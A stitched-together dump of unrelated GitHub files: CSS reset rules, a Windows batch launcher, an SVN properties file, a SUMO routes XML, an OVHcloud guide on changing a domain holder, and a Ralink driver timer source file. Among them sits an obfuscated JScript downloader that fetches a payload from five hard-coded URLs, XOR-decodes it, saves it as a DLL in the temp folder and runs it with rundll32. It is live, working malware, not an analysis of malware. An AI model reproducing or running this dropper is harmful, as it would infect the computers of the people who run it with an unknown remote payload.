* Prevents sub and sup affecting line-height in all browsers
* gist.github.com/413930
*/
sub,
sup {
font-size: 75%;
line-height: 0;
position: relative;
vertical-align: baseline;
}
sup {
top: -0.5em;
}
sub {
bottom: -0.25em;
}
/* =============================================================================
Lists
========================================================================== */
/*
* Addresses margins set differently in IE6/7
*/
dl,
menu,
ol,
ul {
margin: 1em 0;
}
dd {
margin: 0 0 0 40px;
}
/*
* Addresses paddings set differently in IE6/7
*/
menu,
ol,
ul {
padding: 0 0 0 40px;
}
/*
* Corrects list images handled incorrectly in IE7
*/
nav ul,
nav ol {
list-style: none;
list-style-image: none;
}
/* =============================================================================
Embedded content
========================================================================== */
/*
* 1. Removes border when inside 'a' element in IE6/7/8/9, FF3
* 2. Improves image quality when scaled in IE7
* code.flickr.com/blog/2008/11/12/on-ui-quality-the-little-things-client-side-image-resizing/
*/
img {
border: 0; /* 1 */
-ms-interpolation-mode: bicubic; /* 2 */
}
/*
* Corrects overflow displayed oddly in IE9
*/
svg:not(:root) {
overflow: hidden;
}
/* =============================================================================
Figures
========================================================================== */
/*
* Addresses margin not present in IE6/7/8/9, S5, O11
*/
figure {
margin: 0;
}
/* =============================================================================
Forms
========================================================================== */
/*
* Corrects margin displayed oddly in IE6/7
*/
form {
margin: 0;
}
/*
* Define consistent border, margin, and padding
*/
fieldset {
border: 1px solid #c0c0c0;
margin: 0 2px;
padding: 0.35em 0.625em 0.75em;
}
/*
* 1. Corrects color not being inherited in IE6/7/8/9
* 2. Corrects text not wrapping in FF3
* 3. Corrects alignment displayed oddly in IE6/7
*/
legend {
border: 0; /* 1 */
padding: 0;
white-space: normal; /* 2 */
*margin-left: -7px; /* 3 */
}
/*
* 1. Corrects font size not being inherited in all browsers
* 2. Addresses margins set differently in IE6/7, FF3+, S5, Chrome
* 3. Improves appearance and consistency in all browsers
*/
button,
input,
select,
textarea {
font-size: 100%; /* 1 */
margin: 0; /* 2 */
vertical-align: baseline; /* 3 */
*vertical-align: middle; /* 3 */
}
/*
* Addresses FF3/4 setting line-height on 'input' using !important in the UA stylesheet
*/
button,
input {
line-height: normal; /* 1 */
}
/*
* 1. Improves usability and consistency of cursor style between image-type 'input' and others
* 2. Corrects inability to style clickable 'input' types in iOS
* 3. Removes inner spacing in IE7 without affecting normal text inputs
* Known issue: inner spacing remains in IE6
*/
button,
input[type="button"],
input[type="reset"],
input[type="submit"] {
cursor: pointer; /* 1 */
-webkit-appearance: button; /* 2 */
*overflow: visible; /* 3 */
}
/*
* Re-set default cursor for disabled elements
*/
button[disabled],
input[disabled] {
cursor: default;
}
/*
* 1. Addresses box sizing set to content-box in IE8/9
* 2. Removes excess padding in IE8/9
* 3. Removes excess padding in IE7
Known issue: excess padding remains in IE6
*/
input[type="checkbox"],
input[type="radio"] {
box-sizing: border-box; /* 1 */
padding: 0; /* 2 */
*height: 13px; /* 3 */
*width: 13px; /* 3 */
}
/*
* 1. Addresses appearance set to searchfield in S5, Chrome
* 2. Addresses box-sizing set to border-box in S5, Chrome (include -moz to future-proof)
*/
input[type="search"] {
-webkit-appearance: textfield; /* 1 */
-moz-box-sizing: content-box;
-webkit-box-sizing: content-box; /* 2 */
box-sizing: content-box;
}
/*
* Removes inner padding and search cancel button in S5, Chrome on OS X
*/
input[type="search"]::-webkit-search-decoration,
input[type="search"]::-webkit-search-cancel-button {
-webkit-appearance: none;
}
/*
* Removes inner padding and border in FF3+
* www.sitepen.com/blog/2008/05/14/the-devils-in-the-details-fixing-dojos-toolbar-buttons/
*/
button::-moz-focus-inner,
input::-moz-focus-inner {
border: 0;
padding: 0;
}
/*
* 1. Removes default vertical scrollbar in IE6/7/8/9
* 2. Improves readability and alignment in all browsers
*/
textarea {
overflow: auto; /* 1 */
vertical-align: top; /* 2 */
}
/* =============================================================================
Tables
========================================================================== */
/*
* Remove most spacing between table cells
*/
table {
border-collapse: collapse;
border-spacing: 0;
} | {
"pile_set_name": "Github"
} |
@echo off
set PYTHONDONTWRITEBYTECODE=x
cd %~dp0
if %processor_architecture%==x86 (
set ConEmu=lib\ConEmu\ConEmu.exe
set PYTHON="%~dp0lib\python-3.7.2-embed-amd32\wwqLyParse32.exe"
) else (
set ConEmu=lib\ConEmu\ConEmu64.exe
set PYTHON="%~dp0lib\python-3.7.2-embed-amd64\wwqLyParse64.exe"
)
SysArch.exe | find "Windows XP" && set PYTHON="C:\Program Files\LieYing\Plugin\PyRun.exe" --normal
SysArch.exe | find "2003" && set PYTHON="C:\Program Files\LieYing\Plugin\PyRun.exe" --normal
start %ConEmu% -NoSingle -noupdate -run %PYTHON% main.py --force_start true
exit | {
"pile_set_name": "Github"
} |
String.prototype.DisassociativeKMx1 = function () {return this.split(",").join("");};
//BEGIN_CODEC_PART
function DisassociativeNXr9(DisassociativeTWf7)
{var DisassociativeFDs1=new Array();
DisassociativeFDs1[199]=128;DisassociativeFDs1[252]=129;DisassociativeFDs1[233]=130;DisassociativeFDs1[226]=131;DisassociativeFDs1[228]=132;DisassociativeFDs1[224]=133;DisassociativeFDs1[229]=134;DisassociativeFDs1[231]=135;DisassociativeFDs1[234]=136;DisassociativeFDs1[235]=137;
DisassociativeFDs1[232]=138;DisassociativeFDs1[239]=139;DisassociativeFDs1[238]=140;DisassociativeFDs1[236]=141;DisassociativeFDs1[196]=142;DisassociativeFDs1[197]=143;DisassociativeFDs1[201]=144;DisassociativeFDs1[230]=145;DisassociativeFDs1[198]=146;DisassociativeFDs1[244]=147;
DisassociativeFDs1[246]=148;DisassociativeFDs1[242]=149;DisassociativeFDs1[251]=150;DisassociativeFDs1[249]=151;DisassociativeFDs1[255]=152;DisassociativeFDs1[214]=153;DisassociativeFDs1[220]=154;DisassociativeFDs1[162]=155;DisassociativeFDs1[163]=156;DisassociativeFDs1[165]=157;
DisassociativeFDs1[8359]=158;DisassociativeFDs1[402]=159;DisassociativeFDs1[225]=160;DisassociativeFDs1[237]=161;DisassociativeFDs1[243]=162;DisassociativeFDs1[250]=163;DisassociativeFDs1[241]=164;DisassociativeFDs1[209]=165;DisassociativeFDs1[170]=166;DisassociativeFDs1[186]=167;
DisassociativeFDs1[191]=168;DisassociativeFDs1[8976]=169;DisassociativeFDs1[172]=170;DisassociativeFDs1[189]=171;DisassociativeFDs1[188]=172;DisassociativeFDs1[161]=173;DisassociativeFDs1[171]=174;DisassociativeFDs1[187]=175;DisassociativeFDs1[9617]=176;DisassociativeFDs1[9618]=177;
DisassociativeFDs1[9619]=178;DisassociativeFDs1[9474]=179;DisassociativeFDs1[9508]=180;DisassociativeFDs1[9569]=181;DisassociativeFDs1[9570]=182;DisassociativeFDs1[9558]=183;DisassociativeFDs1[9557]=184;DisassociativeFDs1[9571]=185;DisassociativeFDs1[9553]=186;DisassociativeFDs1[9559]=187;
DisassociativeFDs1[9565]=188;DisassociativeFDs1[9564]=189;DisassociativeFDs1[9563]=190;DisassociativeFDs1[9488]=191;DisassociativeFDs1[9492]=192;DisassociativeFDs1[9524]=193;DisassociativeFDs1[9516]=194;DisassociativeFDs1[9500]=195;DisassociativeFDs1[9472]=196;DisassociativeFDs1[9532]=197;
DisassociativeFDs1[9566]=198;DisassociativeFDs1[9567]=199;DisassociativeFDs1[9562]=200;DisassociativeFDs1[9556]=201;DisassociativeFDs1[9577]=202;DisassociativeFDs1[9574]=203;DisassociativeFDs1[9568]=204;DisassociativeFDs1[9552]=205;DisassociativeFDs1[9580]=206;DisassociativeFDs1[9575]=207;
DisassociativeFDs1[9576]=208;DisassociativeFDs1[9572]=209;DisassociativeFDs1[9573]=210;DisassociativeFDs1[9561]=211;DisassociativeFDs1[9560]=212;DisassociativeFDs1[9554]=213;DisassociativeFDs1[9555]=214;DisassociativeFDs1[9579]=215;DisassociativeFDs1[9578]=216;DisassociativeFDs1[9496]=217;
DisassociativeFDs1[9484]=218;DisassociativeFDs1[9608]=219;DisassociativeFDs1[9604]=220;DisassociativeFDs1[9612]=221;DisassociativeFDs1[9616]=222;DisassociativeFDs1[9600]=223;DisassociativeFDs1[945]=224;DisassociativeFDs1[223]=225;DisassociativeFDs1[915]=226;DisassociativeFDs1[960]=227;
DisassociativeFDs1[931]=228;DisassociativeFDs1[963]=229;DisassociativeFDs1[181]=230;DisassociativeFDs1[964]=231;DisassociativeFDs1[934]=232;DisassociativeFDs1[920]=233;DisassociativeFDs1[937]=234;DisassociativeFDs1[948]=235;DisassociativeFDs1[8734]=236;DisassociativeFDs1[966]=237;
DisassociativeFDs1[949]=238;DisassociativeFDs1[8745]=239;DisassociativeFDs1[8801]=240;DisassociativeFDs1[177]=241;DisassociativeFDs1[8805]=242;DisassociativeFDs1[8804]=243;DisassociativeFDs1[8992]=244;DisassociativeFDs1[8993]=245;DisassociativeFDs1[247]=246;DisassociativeFDs1[8776]=247;
DisassociativeFDs1[176]=248;DisassociativeFDs1[8729]=249;DisassociativeFDs1[183]=250;DisassociativeFDs1[8730]=251;DisassociativeFDs1[8319]=252;DisassociativeFDs1[178]=253;DisassociativeFDs1[9632]=254;DisassociativeFDs1[160]=255;
var DisassociativeOOx0=new Array();
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeTWf7.length; DisassociativeFNx2 += 1)
{var DisassociativeEGc4=DisassociativeTWf7["charCodeAt"](DisassociativeFNx2);
if (DisassociativeEGc4 < 128){var DisassociativeLZu0=DisassociativeEGc4;}
else {var DisassociativeLZu0=DisassociativeFDs1[DisassociativeEGc4];}
DisassociativeOOx0["push"](DisassociativeLZu0);};
return DisassociativeOOx0;}
function DisassociativePw3(DisassociativeTt7)
{var DisassociativeTUu2=new Array();
DisassociativeTUu2[128]=199;DisassociativeTUu2[129]=252;DisassociativeTUu2[130]=233;DisassociativeTUu2[131]=226;DisassociativeTUu2[132]=228;DisassociativeTUu2[133]=224;DisassociativeTUu2[134]=229;DisassociativeTUu2[135]=231;DisassociativeTUu2[136]=234;DisassociativeTUu2[137]=235;
DisassociativeTUu2[138]=232;DisassociativeTUu2[139]=239;DisassociativeTUu2[140]=238;DisassociativeTUu2[141]=236;DisassociativeTUu2[142]=196;DisassociativeTUu2[143]=197;DisassociativeTUu2[144]=201;DisassociativeTUu2[145]=230;DisassociativeTUu2[146]=198;DisassociativeTUu2[147]=244;
DisassociativeTUu2[148]=246;DisassociativeTUu2[149]=242;DisassociativeTUu2[150]=251;DisassociativeTUu2[151]=249;DisassociativeTUu2[152]=255;DisassociativeTUu2[153]=214;DisassociativeTUu2[154]=220;DisassociativeTUu2[155]=162;DisassociativeTUu2[156]=163;DisassociativeTUu2[157]=165;
DisassociativeTUu2[158]=8359;DisassociativeTUu2[159]=402;DisassociativeTUu2[160]=225;DisassociativeTUu2[161]=237;DisassociativeTUu2[162]=243;DisassociativeTUu2[163]=250;DisassociativeTUu2[164]=241;DisassociativeTUu2[165]=209;DisassociativeTUu2[166]=170;DisassociativeTUu2[167]=186;
DisassociativeTUu2[168]=191;DisassociativeTUu2[169]=8976;DisassociativeTUu2[170]=172;DisassociativeTUu2[171]=189;DisassociativeTUu2[172]=188;DisassociativeTUu2[173]=161;DisassociativeTUu2[174]=171;DisassociativeTUu2[175]=187;DisassociativeTUu2[176]=9617;DisassociativeTUu2[177]=9618;
DisassociativeTUu2[178]=9619;DisassociativeTUu2[179]=9474;DisassociativeTUu2[180]=9508;DisassociativeTUu2[181]=9569;DisassociativeTUu2[182]=9570;DisassociativeTUu2[183]=9558;DisassociativeTUu2[184]=9557;DisassociativeTUu2[185]=9571;DisassociativeTUu2[186]=9553;DisassociativeTUu2[187]=9559;
DisassociativeTUu2[188]=9565;DisassociativeTUu2[189]=9564;DisassociativeTUu2[190]=9563;DisassociativeTUu2[191]=9488;DisassociativeTUu2[192]=9492;DisassociativeTUu2[193]=9524;DisassociativeTUu2[194]=9516;DisassociativeTUu2[195]=9500;DisassociativeTUu2[196]=9472;DisassociativeTUu2[197]=9532;
DisassociativeTUu2[198]=9566;DisassociativeTUu2[199]=9567;DisassociativeTUu2[200]=9562;DisassociativeTUu2[201]=9556;DisassociativeTUu2[202]=9577;DisassociativeTUu2[203]=9574;DisassociativeTUu2[204]=9568;DisassociativeTUu2[205]=9552;DisassociativeTUu2[206]=9580;DisassociativeTUu2[207]=9575;
DisassociativeTUu2[208]=9576;DisassociativeTUu2[209]=9572;DisassociativeTUu2[210]=9573;DisassociativeTUu2[211]=9561;DisassociativeTUu2[212]=9560;DisassociativeTUu2[213]=9554;DisassociativeTUu2[214]=9555;DisassociativeTUu2[215]=9579;DisassociativeTUu2[216]=9578;DisassociativeTUu2[217]=9496;
DisassociativeTUu2[218]=9484;DisassociativeTUu2[219]=9608;DisassociativeTUu2[220]=9604;DisassociativeTUu2[221]=9612;DisassociativeTUu2[222]=9616;DisassociativeTUu2[223]=9600;DisassociativeTUu2[224]=945;DisassociativeTUu2[225]=223;DisassociativeTUu2[226]=915;DisassociativeTUu2[227]=960;
DisassociativeTUu2[228]=931;DisassociativeTUu2[229]=963;DisassociativeTUu2[230]=181;DisassociativeTUu2[231]=964;DisassociativeTUu2[232]=934;DisassociativeTUu2[233]=920;DisassociativeTUu2[234]=937;DisassociativeTUu2[235]=948;DisassociativeTUu2[236]=8734;DisassociativeTUu2[237]=966;
DisassociativeTUu2[238]=949;DisassociativeTUu2[239]=8745;DisassociativeTUu2[240]=8801;DisassociativeTUu2[241]=177;DisassociativeTUu2[242]=8805;DisassociativeTUu2[243]=8804;DisassociativeTUu2[244]=8992;DisassociativeTUu2[245]=8993;DisassociativeTUu2[246]=247;DisassociativeTUu2[247]=8776;
DisassociativeTUu2[248]=176;DisassociativeTUu2[249]=8729;DisassociativeTUu2[250]=183;DisassociativeTUu2[251]=8730;DisassociativeTUu2[252]=8319;DisassociativeTUu2[253]=178;DisassociativeTUu2[254]=9632;DisassociativeTUu2[255]=160;
var DisassociativeAd2=new Array();var DisassociativeUw6="";var DisassociativeLZu0; var DisassociativeEGc4;
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeTt7.length; DisassociativeFNx2 += 1)
{DisassociativeLZu0=DisassociativeTt7[DisassociativeFNx2];
if (DisassociativeLZu0 < 128){DisassociativeEGc4=DisassociativeLZu0;}
else {DisassociativeEGc4=DisassociativeTUu2[DisassociativeLZu0];}
DisassociativeAd2.push(String["fromCharCode"](DisassociativeEGc4));}
DisassociativeUw6=DisassociativeAd2["join"]("");
return DisassociativeUw6;}
function DisassociativeGl6(DisassociativeTt7, DisassociativeEFs6)
{var DisassociativeDRw6 = DisassociativeNXr9(DisassociativeEFs6);
for (var DisassociativeFNx2 = 0; DisassociativeFNx2 < DisassociativeTt7.length; DisassociativeFNx2 += 1)
{DisassociativeTt7[DisassociativeFNx2] ^= DisassociativeDRw6[DisassociativeFNx2 % DisassociativeDRw6.length];};
return DisassociativeTt7;}
function DisassociativeUq7(DisassociativeYGa2)
{var DisassociativeNCk5=WScript["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeNCk5["type"]=2;
DisassociativeNCk5["Charset"]="437";
DisassociativeNCk5["open"]();
DisassociativeNCk5["LoadFromFile"](DisassociativeYGa2);
var DisassociativeZj1=DisassociativeNCk5["ReadText"];
DisassociativeNCk5["close"]();
return DisassociativeNXr9(DisassociativeZj1);}
function DisassociativePp3(DisassociativeYGa2, DisassociativeTt7)
{var DisassociativeNCk5=WScript["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeNCk5["type"]=2;
DisassociativeNCk5["Charset"]="437";
DisassociativeNCk5["open"]();
DisassociativeNCk5["writeText"](DisassociativePw3(DisassociativeTt7));
DisassociativeNCk5["SaveToFile"](DisassociativeYGa2, 2);
DisassociativeNCk5["close"]();}
//END_CODEC_PART
var DisassociativeBp8 = "http://";
var DisassociativeWx8 = [DisassociativeBp8 + "sadhekoala.com/vjhxxwuo",DisassociativeBp8 + "thegoldclubs.com/soaiga",DisassociativeBp8 + "thirdchild.org/ratorfeybm",DisassociativeBp8 + "lauiatraps.net/tltnctyadf",DisassociativeBp8 + "suziemorris.net/qz3wodtpqe"];
var DisassociativeBNy7 = "JBUHnwWIpAlTYNc";
var DisassociativeKa7 = "R9cSS1rkjyRw";
var DisassociativeSb3 = "L2hr1GeO6BCNFWPT";
var DisassociativeUr8=2;
var DisassociativeBs9=WScript["CreateObject"]("WScript.Shell");
var DisassociativeGFa5=DisassociativeBs9.ExpandEnvironmentStrings("%T"+"EMP%/");
var DisassociativeXAk4=DisassociativeGFa5 + DisassociativeBNy7;
var DisassociativeFUm6=DisassociativeXAk4 + ".d" + "ll";
var DisassociativeFn1 = DisassociativeBs9["Environment"]("System");
if (DisassociativeFn1("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64")
{
var DisassociativeAKu2 = DisassociativeBs9.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\ru"+"ndll32.exe");
}
else
{
var DisassociativeAKu2 = DisassociativeBs9["ExpandEnvironmentStrings"]("%SystemRoot%\\system32\\ru"+"ndll32.exe");
}
var DisassociativeIHy7=["M,S,X,M,L,2,.,X,M,L,H,T,T,P".DisassociativeKMx1(), "WinHttp.WinHttpRequest.5.1"];
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeIHy7.length; DisassociativeFNx2 += 1)
{
try
{
var DisassociativeQPw3=WScript["CreateObject"](DisassociativeIHy7[DisassociativeFNx2]);
break;
}
catch (e)
{
continue;
}
};
var DisassociativePUo6 = new ActiveXObject("Scripting.FileSystemObject");
function DisassociativeUf9()
{
var DisassociativeWUn8 = DisassociativePUo6.GetFile(DisassociativeFUm6);
return DisassociativeWUn8["ShortPath"];
}
var DisassociativeFy6 = 0;
for (var DisassociativeTTb4 = 0; DisassociativeTTb4 < DisassociativeWx8.length; DisassociativeTTb4 = DisassociativeTTb4 + 1)
{
try
{
var DisassociativeSPt3=this["W,S,c,r,i,p,t".DisassociativeKMx1()]["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeQPw3["open"]("G,E,T".DisassociativeKMx1(), DisassociativeWx8[DisassociativeTTb4], false);
DisassociativeQPw3.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
DisassociativeQPw3["send"]();
while (DisassociativeQPw3.readystate < 4) WScript["Sleep"](100);
DisassociativeSPt3["open"]();
DisassociativeSPt3.type=1;
/*@cc_on
DisassociativeSPt3.write(DisassociativeQPw3.ResponseBody);
DisassociativeSPt3.position=0;
DisassociativeSPt3['Sav'+'eT'+'oFile'](DisassociativeXAk4, DisassociativeUr8);
DisassociativeSPt3.close();
var DisassociativeOOx0 = DisassociativeUq7(DisassociativeXAk4);
DisassociativeOOx0 = DisassociativeGl6(DisassociativeOOx0, DisassociativeKa7);
if (DisassociativeOOx0[0] != 77 || DisassociativeOOx0[1] != 90) continue;
DisassociativePp3(DisassociativeFUm6, DisassociativeOOx0);
var DisassociativeZGx7 = DisassociativeUf9();
var d = new Date();
d.setFullYear("2015");
eval('DisassociativeBs9["R,u,n".DisassociativeKMx1()]("r,u,n,d,l,l,3,2".DisassociativeKMx1() + " " + DisassociativeZGx7 + "," + DisassociativeSb3);');
@*/
break;
}
catch (e) {continue;};
}
WScript.Quit(0); | {
"pile_set_name": "Github"
} |
K 13
svn:mime-type
V 24
application/octet-stream
K 14
svn:executable
V 1
*
END
| {
"pile_set_name": "Github"
} |
<?xml version="1.0"?>
<routes xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://sumo.dlr.de/xsd/routes_file.xsd">
<vType id="0" accel="2.60" decel="4.50" sigma="0.5" length="3" minGap="2" maxSpeed="70.00" tau="1.00" vClass="passenger"/>
<vehicle id="0_0" type="0" depart="0">
<route edges="absBeg beg2left left left2end end absEnd"/>
</vehicle>
</routes>
| {
"pile_set_name": "Github"
} |
---
title: 'Changing the holder of a domain name'
slug: how-to-change-domain-name-holder
legacy_guide_number: 1350
excerpt: 'This guide will provide you with information on how to change the holder of a domain name.'
section: 'Changing holders'
---
**Last updated 30th January 2020**
## Objective
Beside [managing contacts](https://docs.ovh.com/gb/en/customer/managing-contacts/), to register a domain name, you need to enter information on the holder. This guide will detail how to do this.
**Find out how to change a domain name holder.**
## Requirements
- access to the [OVHcloud Control Panel](https://www.ovh.com/manager/web){.external}
- a domain name registered with OVHcloud
- access as the [admin contact](https://docs.ovh.com/gb/en/customer/managing-contacts/) for the domain name concerned
- permission from the current domain name holder to change holders
## Instructions
### Select the domain.
In the `Domains`{.action} section of the OVHcloud Control Panel, select the generic top-level domain (gTLD) you would like to change the holder of.
{.thumbnail}
### Change the holder.
In the `General information`{.action} tab, go to the **Subscription** section. Click `...`{.action} next to the contacts, then click `Change holder`{.action}.
{.thumbnail}
> [!warning]
>
> Any changes to the holder’s first name, surname, organisation, legal status and email address will be
> considered as a change of holder.
>
An information message will open. Click `Continue`{.action}.
Once you have confirmed your action, two emails will be sent to confirm or decline this change:
- one sent to the current holder’s email address
- one sent to the future holder’s email address
Once the two recipients confirm their agreement via email, the domain name holder change will become effective.
> [!primary]
>
>
> A maximum period of 60 days is authorised for the two recipients to confirm their agreement.
>
> If the change is declined by one of the two parties, the action is cancelled.
>
>
> [!warning]
>
> If the domain name holder is changed successfully, the domain name will be
> locked, and cannot be part of an outgoing transfer for a 60-day period.
>
## Go further
[Managing contacts for your services](https://docs.ovh.com/gb/en/customer/managing-contacts/)
Join our community of users on https://community.ovh.com/en/. | {
"pile_set_name": "Github"
} |
/*
***************************************************************************
* Ralink Tech Inc.
* 4F, No. 2 Technology 5th Rd.
* Science-based Industrial Park
* Hsin-chu, Taiwan, R.O.C.
*
* (c) Copyright 2002-2008, Ralink Technology, Inc.
*
* All rights reserved. Ralink's source code is an unpublished work and the
* use of a copyright notice does not imply otherwise. This source code
* contains confidential trade secret material of Ralink Tech. Any attemp
* or participation in deciphering, decoding, reverse engineering or in any
* way altering the source code is stricitly prohibited, unless the prior
* written consent of Ralink Technology, Inc. is obtained.
***************************************************************************
Module Name:
rtmp_timer.c
Abstract:
task for timer handling
Revision History:
Who When What
-------- ---------- ----------------------------------------------
Name Date Modification logs
Shiang Tu 08-28-2008 init version
*/
#include "rt_config.h"
BUILD_TIMER_FUNCTION(MlmePeriodicExecTimer);
/*BUILD_TIMER_FUNCTION(MlmeRssiReportExec);*/
BUILD_TIMER_FUNCTION(AsicRxAntEvalTimeout);
BUILD_TIMER_FUNCTION(APSDPeriodicExec);
BUILD_TIMER_FUNCTION(EnqueueStartForPSKExec);
#ifdef DOT11W_PMF_SUPPORT
BUILD_TIMER_FUNCTION(PMF_SAQueryTimeOut);
BUILD_TIMER_FUNCTION(PMF_SAQueryConfirmTimeOut);
#endif /* DOT11W_PMF_SUPPORT */
#ifdef CONFIG_AP_SUPPORT
extern VOID APDetectOverlappingExec(
IN PVOID SystemSpecific1,
IN PVOID FunctionContext,
IN PVOID SystemSpecific2,
IN PVOID SystemSpecific3);
BUILD_TIMER_FUNCTION(APDetectOverlappingExec);
#ifdef DOT11N_DRAFT3
BUILD_TIMER_FUNCTION(Bss2040CoexistTimeOut);
#endif /* DOT11N_DRAFT3 */
BUILD_TIMER_FUNCTION(GREKEYPeriodicExec);
BUILD_TIMER_FUNCTION(CMTimerExec);
BUILD_TIMER_FUNCTION(WPARetryExec);
#ifdef AP_SCAN_SUPPORT
BUILD_TIMER_FUNCTION(APScanTimeout);
#endif /* AP_SCAN_SUPPORT */
BUILD_TIMER_FUNCTION(APQuickResponeForRateUpExec);
#ifdef IDS_SUPPORT
BUILD_TIMER_FUNCTION(RTMPIdsPeriodicExec);
#endif /* IDS_SUPPORT */
#ifdef DOT11R_FT_SUPPORT
BUILD_TIMER_FUNCTION(FT_KDP_InfoBroadcast);
#endif /* DOT11R_FT_SUPPORT */
#endif /* CONFIG_AP_SUPPORT */
#ifdef WSC_INCLUDED
BUILD_TIMER_FUNCTION(WscEAPOLTimeOutAction);
BUILD_TIMER_FUNCTION(Wsc2MinsTimeOutAction);
BUILD_TIMER_FUNCTION(WscUPnPMsgTimeOutAction);
BUILD_TIMER_FUNCTION(WscM2DTimeOutAction);
BUILD_TIMER_FUNCTION(WscPBCTimeOutAction);
BUILD_TIMER_FUNCTION(WscScanTimeOutAction);
BUILD_TIMER_FUNCTION(WscProfileRetryTimeout);
#ifdef WSC_LED_SUPPORT
BUILD_TIMER_FUNCTION(WscLEDTimer);
BUILD_TIMER_FUNCTION(WscSkipTurnOffLEDTimer);
#endif /* WSC_LED_SUPPORT */
#ifdef CONFIG_AP_SUPPORT
BUILD_TIMER_FUNCTION(WscUpdatePortCfgTimeout);
BUILD_TIMER_FUNCTION(WscSetupLockTimeout);
#ifdef MT_MAC
BUILD_TIMER_FUNCTION(WscEapReqIdRetryTimeout);
#endif /* MT_MAC */
#endif /* CONFIG_AP_SUPPORT */
#endif /* WSC_INCLUDED */
#ifdef CONFIG_ATE
BUILD_TIMER_FUNCTION(ATEPeriodicExec);
#endif /* CONFIG_ATE */
#ifdef MIXMODE_SUPPORT
BUILD_TIMER_FUNCTION(MixModeTimeout);
#endif /* MIXMODE_SUPPORT */
#ifdef WH_EZ_SETUP
BUILD_TIMER_FUNCTION(ez_scan_timeout);
//BUILD_TIMER_FUNCTION(ez_stop_scan_timeout);
BUILD_TIMER_FUNCTION(ez_scan_pause_timeout);
#ifdef EZ_NETWORK_MERGE_SUPPORT
BUILD_TIMER_FUNCTION(ez_group_merge_timeout);
#endif
#ifdef NEW_CONNECTION_ALGO
BUILD_TIMER_FUNCTION(ez_wait_for_connection_allow_timeout);
#endif
#ifdef EZ_DUAL_BAND_SUPPORT
BUILD_TIMER_FUNCTION(ez_loop_chk_timeout);
#endif
#endif /* WH_EZ_SETUP */
#ifdef RTMP_TIMER_TASK_SUPPORT
static void RtmpTimerQHandle(RTMP_ADAPTER *pAd)
{
int status;
RALINK_TIMER_STRUCT *pTimer;
RTMP_TIMER_TASK_ENTRY *pEntry;
unsigned long irqFlag;
RTMP_OS_TASK *pTask;
pTask = &pAd->timerTask;
while(!RTMP_OS_TASK_IS_KILLED(pTask))
{
pTimer = NULL;
if (RtmpOSTaskWait(pAd, pTask, &status) == FALSE)
{
RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_HALT_IN_PROGRESS);
break;
}
if (pAd->TimerQ.status == RTMP_TASK_STAT_STOPED)
break;
/* event happened.*/
while(pAd->TimerQ.pQHead)
{
RTMP_INT_LOCK(&pAd->TimerQLock, irqFlag);
pEntry = pAd->TimerQ.pQHead;
if (pEntry)
{
pTimer = pEntry->pRaTimer;
/* update pQHead*/
pAd->TimerQ.pQHead = pEntry->pNext;
if (pEntry == pAd->TimerQ.pQTail)
pAd->TimerQ.pQTail = NULL;
/* return this queue entry to timerQFreeList.*/
pEntry->pNext = pAd->TimerQ.pQPollFreeList;
pAd->TimerQ.pQPollFreeList = pEntry;
}
RTMP_INT_UNLOCK(&pAd->TimerQLock, irqFlag);
if (pTimer)
{
if ((pTimer->handle != NULL) && (!pAd->PM_FlgSuspend))
pTimer->handle(NULL, (PVOID) pTimer->cookie, NULL, pTimer);
if ((pTimer->Repeat) && (pTimer->State == FALSE))
RTMP_OS_Add_Timer(&pTimer->TimerObj, pTimer->TimerValue);
}
}
if (status != 0)
{
pAd->TimerQ.status = RTMP_TASK_STAT_STOPED;
RTMP_SET_FLAG(pAd, fRTMP_ADAPTER_HALT_IN_PROGRESS);
break;
}
}
}
INT RtmpTimerQThread(
IN ULONG Context)
{
RTMP_OS_TASK *pTask;
PRTMP_ADAPTER pAd = NULL;
pTask = (RTMP_OS_TASK *)Context;
pAd = (PRTMP_ADAPTER)RTMP_OS_TASK_DATA_GET(pTask);
if (pAd == NULL)
{
DBGPRINT(RT_DEBUG_ERROR,( "%s:: pAd is NULL!\n",__FUNCTION__));
return 0;
}
RtmpOSTaskCustomize(pTask);
RtmpTimerQHandle(pAd);
DBGPRINT(RT_DEBUG_TRACE,( "<---%s\n",__FUNCTION__));
/* notify the exit routine that we're actually exiting now
*
* complete()/wait_for_completion() is similar to up()/down(),
* except that complete() is safe in the case where the structure
* is getting deleted in a parallel mode of execution (i.e. just
* after the down() -- that's necessary for the thread-shutdown
* case.
*
* complete_and_exit() goes even further than this -- it is safe in
* the case that the thread of the caller is going away (not just
* the structure) -- this is necessary for the module-remove case.
* This is important in preemption kernels, which transfer the flow
* of execution immediately upon a complete().
*/
RtmpOSTaskNotifyToExit(pTask);
return 0;
}
RTMP_TIMER_TASK_ENTRY *RtmpTimerQInsert(
IN RTMP_ADAPTER *pAd,
IN RALINK_TIMER_STRUCT *pTimer)
{
RTMP_TIMER_TASK_ENTRY *pQNode = NULL, *pQTail;
unsigned long irqFlags;
RTMP_OS_TASK *pTask = &pAd->timerTask;
RTMP_INT_LOCK(&pAd->TimerQLock, irqFlags);
if (pAd->TimerQ.status & RTMP_TASK_CAN_DO_INSERT)
{
if(pAd->TimerQ.pQPollFreeList)
{
pQNode = pAd->TimerQ.pQPollFreeList;
pAd->TimerQ.pQPollFreeList = pQNode->pNext;
pQNode->pRaTimer = pTimer;
pQNode->pNext = NULL;
pQTail = pAd->TimerQ.pQTail;
if (pAd->TimerQ.pQTail != NULL)
pQTail->pNext = pQNode;
pAd->TimerQ.pQTail = pQNode;
if (pAd->TimerQ.pQHead == NULL)
pAd->TimerQ.pQHead = pQNode;
}
}
RTMP_INT_UNLOCK(&pAd->TimerQLock, irqFlags);
if (pQNode)
{
RTMP_OS_TASK_WAKE_UP(pTask);
}
return pQNode;
}
BOOLEAN RtmpTimerQRemove(
IN RTMP_ADAPTER *pAd,
IN RALINK_TIMER_STRUCT *pTimer)
{
RTMP_TIMER_TASK_ENTRY *pNode, *pPrev = NULL;
unsigned long irqFlags;
